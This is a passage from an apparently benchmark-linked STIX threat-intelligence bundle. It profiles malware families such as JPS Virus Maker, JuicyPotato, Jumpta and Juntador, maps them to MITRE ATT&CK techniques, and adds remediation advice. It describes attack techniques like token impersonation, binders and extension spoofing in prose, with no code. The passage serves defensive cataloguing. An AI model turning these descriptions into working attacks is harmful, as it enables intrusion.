      "description": "JPS (cataloged across security software as Trojan:Win32/JPS, Virus:Win32/JPS, and Trojan.Win32.JPS) is the compiled runtime client component generated by the JPS Virus Maker framework during the early 2000s underground virus authoring era. When executed, JPS drops secondary trojan components into the Windows system directory, establishes registry Run key persistence, modifies executable file associations, and attempts to spread locally across connected drives and shared folders. The trojan executes pre-configured disruptive subroutines designed by the toolkit operator, including terminating antivirus processes, disabling system management tools, and establishing reverse backdoor connections.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/JPS",
        "Virus:Win32/JPS",
        "Trojan.Win32.JPS",
        "Win32/JPS.Trojan",
        "JPS.Client"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jps",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jps"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8172aaf-b8ac-5606-a14e-d77c9594c60e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9300c2a1-4894-5486-ba27-23a7cd01451c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cce00986-0075-58f0-99ad-3166a5016286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c410ac8-3d40-5e04-80c7-8969019d4b91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b843beb8-c124-5a55-a471-a8b7e3179ec9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jps_Virus_Maker",
      "description": "JPS Virus Maker (cataloged across security software as HackTool:Win32/JPSVirusMaker, Tool:Win32/JPS, and Constructor.Win32.JPS) is a classical GUI-based virus creation kit and malware generator from the early 2000s cybercrime era. Similar to Senna Spy and VBSWG toolkits, JPS Virus Maker allowed novice cybercriminals to generate custom Windows trojans and destructive script payloads by selecting pre-configured options (such as disabling Windows Task Manager, formatting floppy drives, modifying desktop registry policies, and injecting backdoor ports) without writing code.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/JPSVirusMaker",
        "Tool:Win32/JPS",
        "Constructor.Win32.JPS",
        "Win32/JPS.Constructor",
        "JPSVirusMaker.Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jps_Virus_Maker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jps_virus_maker"
        }
      ],
      "labels": [
        "tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0c8593ed-034c-588e-bbe4-368c1f223c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1587.001: Develop Capabilities: Malware",
      "description": "MITRE ATT&CK Technique T1587.001 (Develop Capabilities: Malware) under tactic Resource Development.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1587.001",
          "url": "https://attack.mitre.org/techniques/T1587/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d63be17-38c6-55c1-94ac-b2d7878c423c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "target_ref": "attack-pattern--0c8593ed-034c-588e-bbe4-368c1f223c7a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps_Virus_Maker exhibits technique T1587.001 (Develop Capabilities: Malware)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff8026b9-fc0f-5825-a7b5-bd5b2cf81dba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps_Virus_Maker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81da0c10-ecac-5fbf-ba46-e28f4917249b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps_Virus_Maker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--461a798e-8ce9-5d62-bd75-1bce146e1949",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps_Virus_Maker exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1544b37-007d-5c07-8741-50023acd3597",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd583645-2a6d-512f-aebd-e89e1a21cba2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jps_Virus_Maker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a59e527-1ceb-50c3-80c7-20dc98f2c2ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jscriptwrap",
      "description": "<h3>Executive Summary</h3>\nJScriptWrap is not a specific malware family, but rather a detection signature for a specific malicious obfuscation and evasion technique. It identifies scripts or executables that utilize JScript (Microsoft's dialect of JavaScript) encapsulation to hide their true payload. Threat actors use JScriptWrap to bypass static antivirus signatures by dynamically unpacking and executing malicious code directly in memory using the native Windows Script Host (WSH).\n\n<h3>Technical Architecture and Exploitation</h3>\nJScriptWrap is typically used as the delivery mechanism (the initial dropper) within a phishing campaign.\n\nThe attack chain utilizing JScriptWrap usually follows this pattern:\n<ul>\n<li><strong>Delivery:</strong> The user receives a `.js`, `.jse`, `.wsf`, or `.hta` file, often zipped or embedded within a weaponized Office document.</li>\n<li><strong>Obfuscation:</strong> The script content is heavily obfuscated, often appearing as an unreadable block of encoded characters (e.g., Base64 or custom XOR encoding) combined with legitimate-looking \"junk\" code to throw off heuristic analysis.</li>\n<li><strong>In-Memory Execution:</strong> When executed by the native `wscript.exe` or `cscript.exe` engines, the JScriptWrap code decodes the primary payload (often a PowerShell script or an embedded PE file). It then utilizes techniques like `Eval()` or COM object instantiation (e.g., `WScript.Shell`) to execute the decoded payload directly in memory, leaving no executable file on the hard drive for the AV to scan.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe use of JScriptWrap indicates a deliberate attempt to bypass endpoint security controls. Because the initial script is often small and utilizes native OS tools (Living off the Land), it frequently succeeds in executing its payload, which is often a robust info-stealer, a RAT, or a ransomware stager.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Script Host Restriction:</strong> The most effective defense against JScriptWrap is to disable or strictly control the Windows Script Host (WSH). Use Group Policy to change the default file association for `.js` and `.vbs` files to open in Notepad rather than `wscript.exe`.</li>\n<li><strong>AMSI and EDR:</strong> Ensure that the Anti-Malware Scan Interface (AMSI) is fully functional and integrated with your EDR solution. AMSI can intercept and scan the script content *after* it has been de-obfuscated by the script engine, just before execution.</li>\n<li><strong>Behavioral Monitoring:</strong> Monitor for suspicious parent-child process relationships, such as `wscript.exe` spawning `powershell.exe` or initiating unexpected outbound network connections.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.JScriptWrap",
        "Dropper.JScript",
        "Script.Obfuscated"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jscriptwrap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jscriptwrap"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff937774-6301-534f-9c2a-2e081ee97827",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a59e527-1ceb-50c3-80c7-20dc98f2c2ba",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jscriptwrap exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript/AutoIt)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa4b1cac-f3c7-5d24-bbba-0f4f7154db99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a59e527-1ceb-50c3-80c7-20dc98f2c2ba",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jscriptwrap exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc6d1b61-e277-5248-a89d-c88189c9af1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a59e527-1ceb-50c3-80c7-20dc98f2c2ba",
      "target_ref": "attack-pattern--e8a716be-4ab8-579e-95cd-cf3d09459cfc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jscriptwrap exhibits technique T1218.011 (System Binary Proxy Execution: Rundll32)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd36d553-86a3-53dd-aa0d-c03d6f994576",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Juicypotato",
      "description": "<h3>Executive Summary</h3>\nJuicyPotato is a highly potent, open-source post-exploitation \"HackTool\" used to achieve Local Privilege Escalation (LPE) on Microsoft Windows operating systems. It exploits a known vulnerability in the way Windows handles DCOM (Distributed Component Object Model) authentication. When executed by an attacker who already possesses low-level access (e.g., a standard user or a compromised service account), JuicyPotato allows them to elevate their privileges to `NT AUTHORITY\\SYSTEM`, granting them absolute control over the compromised machine.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJuicyPotato is not an initial infection vector (like a trojan or worm). It is a specialized tool deployed *after* an attacker has already breached the perimeter. It is frequently utilized during penetration tests and by malicious actors following the compromise of a web server (e.g., gaining an IIS AppPool service account via a web shell).\n\nIts execution relies on exploiting the `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`:\n<ul>\n<li><strong>Rogue COM Server:</strong> The tool creates a rogue COM server and tricks a high-privileged Windows service (running as SYSTEM) into authenticating with it.</li>\n<li><strong>NTLM Reflection:</strong> It captures the NTLM authentication traffic from the SYSTEM account and reflects it back to the local machine, effectively stealing the SYSTEM token.</li>\n<li><strong>Token Impersonation:</strong> Using the `SeImpersonatePrivilege`, the attacker applies the stolen SYSTEM token to a new process (e.g., launching `cmd.exe` or a reverse shell), instantly granting them full administrative rights.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of JuicyPotato on a network is a critical incident indicating a severe escalation of an existing breach. An attacker operating as SYSTEM can disable antivirus, dump credentials from LSASS memory, install rootkits, and move laterally across the Active Directory environment without restriction.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Containment:</strong> Isolate the compromised host immediately. Because the attacker has SYSTEM privileges, they likely have deeply embedded persistence mechanisms that standard AV cannot remove.</li>\n<li><strong>Patching and Configuration:</strong> While Microsoft has patched specific DCOM vectors, the fundamental issue relies on service accounts possessing `SeImpersonatePrivilege`. Ensure servers are fully patched. More importantly, adhere to the Principle of Least Privilege: do not grant service accounts (like IIS or SQL service accounts) local administrative rights or the `SeImpersonatePrivilege` unless strictly required.</li>\n<li><strong>Complete Rebuild:</strong> The only secure remediation for a machine where an attacker has achieved SYSTEM level access is a complete bare-metal wipe and re-image from a trusted source.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.JuicyPotato",
        "Riskware.JuicyPotato",
        "Exploit.LPE.JuicyPotato"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Juicypotato",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/juicypotato"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-281a"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15a47b6f-0d1d-5982-872c-5d8f345ed2aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd36d553-86a3-53dd-aa0d-c03d6f994576",
      "target_ref": "attack-pattern--da0b5f27-ef3b-5872-a75c-aed71aeb744f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juicypotato exhibits technique T1134.001 (Access Token Manipulation: Token Impersonation/Theft (Using SeDebugPrivilege))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d417b6ce-adfd-50de-9759-dae8101d40bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd36d553-86a3-53dd-aa0d-c03d6f994576",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juicypotato exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f36d1536-b705-5b8d-81c6-907baad15a8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd36d553-86a3-53dd-aa0d-c03d6f994576",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juicypotato exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jumpta",
      "description": "Trojan:Win32/Jumpta is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jumpta</b><br>To an end-user, a Jumpta infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jumpta is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jumpta is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jumpta frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jumpta reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jumpta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jumpta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efb45815-089a-560a-842d-1315ed7d65e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jumpta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--555c22b7-32dc-5bde-bc1f-edfd27490932",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jumpta exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b77b3451-85b9-5e22-8198-f0a4f84cb0f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jumpta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e081e49-a292-597d-b891-57923d50cdcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jumpta exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e7234dd-bb88-5fe8-9ccf-b76833345bd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3809d262-bea9-5585-8662-1e68bf1459f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jumpta exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48a32dce-74ed-5b48-9178-3e07320bce72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Juntador",
      "description": "<h3>Executive Summary</h3>\nJuntador is not a traditional standalone malware family, but rather a specific classification for a \"Binder\" or \"Joiner\" utility. These tools are heavily utilized by cybercriminals to merge multiple executable files\u2014typically a malicious payload (like a RAT or info-stealer) and a legitimate, benign application (like a game installer or a PDF document)\u2014into a single, deceptive executable file. This is a primary technique used for social engineering and initial access.\n\n<h3>Technical Architecture and Capabilities</h3>\nJuntador utilities are the packaging mechanism for malware. They are designed to trick the end-user into executing a malicious payload by hiding it behind a facade of legitimacy.\n\nKey features of a Juntador/Binder include:\n<ul>\n<li><strong>File Merging:</strong> The attacker uses the binder to combine `malware.exe` and `legit_game.exe` into a new file, often named `setup_game.exe`.</li>\n<li><strong>Simultaneous Execution:</strong> When the victim double-clicks the bound file, the Juntador stub executes both embedded files simultaneously in the background. The user sees the legitimate game installer launch normally, completely unaware that the malicious payload has also executed and infected their system.</li>\n<li><strong>Icon and Extension Spoofing:</strong> Advanced binders allow the attacker to apply the icon of a legitimate program (like an Adobe PDF icon) to the final executable. They often employ techniques like the \"Right-to-Left Override\" (RLO) character to spoof the file extension, making `invoice_pdf.exe` appear as `invoice_exe.pdf`.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe detection of a Juntador artifact indicates that a user has fallen victim to a social engineering attack and executed a Trojanized file. The true threat lies not in the binder itself, but in the specific, hidden payloads it was designed to deliver. A successful Juntador execution guarantees the endpoint has been compromised by at least one piece of malware.\n\n<h3>Incident Response and Advanced Analysis</h3>\n<ul>\n<li><strong>Payload Extraction:</strong> The primary goal of incident response is to extract and identify the hidden payloads. The bound file must be submitted to an isolated malware sandbox or manually reverse-engineered to separate the benign \"decoy\" from the malicious executable.</li>\n<li><strong>Endpoint Isolation:</strong> Treat the endpoint as fully compromised. Isolate it from the network until the specific payloads delivered by the Juntador file can be identified and neutralized.</li>\n<li><strong>Security Awareness Training:</strong> The success of a bound file relies entirely on user interaction. The incident should trigger targeted security awareness training regarding the dangers of downloading software from untrusted sources and how to verify file extensions.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Binder.Juntador",
        "HackTool.Joiner",
        "Win32/Juntador"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Juntador",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/juntador"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d04f6e8-1214-5c4a-b386-b0112eec14ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48a32dce-74ed-5b48-9178-3e07320bce72",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juntador exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4715ffb-715f-5651-a101-55d9383b4b59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48a32dce-74ed-5b48-9178-3e07320bce72",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juntador exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7d44dc7-3fe2-507e-9e63-676251ff608e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48a32dce-74ed-5b48-9178-3e07320bce72",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Juntador exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be512cd0-941f-53fc-baf9-27829ed3741e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jusabli",
      "description": "<h3>Executive Summary</h3>\nJusabli is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJusabli is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Jusabli operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Jusabli ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Jusabli receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Jusabli infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. 